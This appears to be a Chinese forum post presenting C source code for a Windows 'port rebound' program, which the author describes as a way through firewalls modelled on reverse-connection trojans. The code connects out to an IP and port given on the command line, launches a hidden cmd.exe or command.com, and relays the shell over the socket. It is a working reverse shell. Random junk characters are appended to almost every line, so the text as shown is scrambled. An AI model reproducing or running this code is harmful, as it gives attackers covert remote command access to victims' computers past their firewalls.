Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 u{uqK7]+  
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/* ============================== #o~C0`8!B=  
Rebound port in Windows NT %?V~7tHm>  
By wind,2006/7 v\9f 8|K  
===============================*/ `Zmdlp@  
#include eW<NDI&b  
#include )xU+M{p-os  
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#pragma comment(lib,"wsock32.lib") 7fWZ/;p  
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void OutputShell(); |ul{d|  
SOCKET sClient; % mPv1$FH  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 'e<8j  
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void main(int argc,char **argv) fS'` 9  
{ AwuhFPG  
WSADATA stWsaData; @`B_Q v@  
int nRet; S/eplz;  
SOCKADDR_IN stSaiClient,stSaiServer; -0`
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er BerbEEH  
if(argc != 3) Yevd h<  
{ Lf<urIF  
printf("Useage:\n\rRebound DestIP DestPort\n"); \L?A4Qx)_  
return; h~%8p ]  
} #t Pc<p6m  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 0R
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e+#k\x   
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stSaiClient.sin_family = AF_INET; v`Y{.>[H[  
stSaiClient.sin_port = htons(0); Vy/G-IASb  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $mAyM+ ph[  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /9SoVU8  
{ \AI-x$5R*  
printf("Bind Socket Failed!\n"); 7$0bgWi  
return; o+k*ia~Fa  
} =_N
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stSaiServer.sin_family = AF_INET; u!+;Iy7  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); o)b-fAd@$  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); S1~EJa5H  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @|w/`!}9q  
{ x@)cj  
printf("Connect Error!"); e1V1Ae  
return; qOQ8a:]?  
} H;AMRL o4z  
OutputShell(); %)d7iT~M  
} `25<;@  
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void OutputShell() p74Nd4U$s  
{ |#x
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char szBuff[1024]; 3H>\hZ  
SECURITY_ATTRIBUTES stSecurityAttributes; P%R9\iajH  
OSVERSIONINFO stOsversionInfo; ;ioF'ov  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Zf??/+[  
STARTUPINFO stStartupInfo; BVus3Y5IJQ  
char *szShell; BSr#;;\  
PROCESS_INFORMATION stProcessInformation; c1R[Hck  
unsigned long lBytesRead; PN J&{4wY  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 23houS
 
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^)`e}}  
stSecurityAttributes.lpSecurityDescriptor = 0; 2"}Vfy  
stSecurityAttributes.bInheritHandle = TRUE; !lZ}kz0  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \?Xoa"^  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @0tX,Z9  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); OYmutq  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]70ZerQ~L  
stStartupInfo.wShowWindow = SW_HIDE; &VCg`r-{~  
stStartupInfo.hStdInput = hReadPipe; EKQ>hww8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; v/vPU  
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GetVersionEx(&stOsversionInfo); 96; gzG@1!  
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switch(stOsversionInfo.dwPlatformId) Tgla_sMb  
{ b8%TwYp  
case 1: {od@Sl  
szShell = "command.com"; QWt3KW8)  
break; Azr|cKu]  
default: d}|z+D  
szShell = "cmd.exe"; rAqS;@]0  
break; QaA?UzB  
} 5xj8^W^G9  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +RiI5.$=Z  
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send(sClient,szMsg,77,0); z/WGL  
while(1) X -=M>H^  
{ c|k(_#\B  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Ff =%eg]  
if(lBytesRead) VKlC`k8L  
{ 7GErh,  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `6#s+JA[  
send(sClient,szBuff,lBytesRead,0); VH+3o?nrT  
} 1TGE>HG  
else BT$Oh4y4  
{ 3U!=R-  
lBytesRead=recv(sClient,szBuff,1024,0); |S<!'rY  
if(lBytesRead<=0) break; gg#lI|  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); DH i@ujr  
} 79o=HiOF99  
} \W=Z`w3  
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return; Gfy9YH~  
}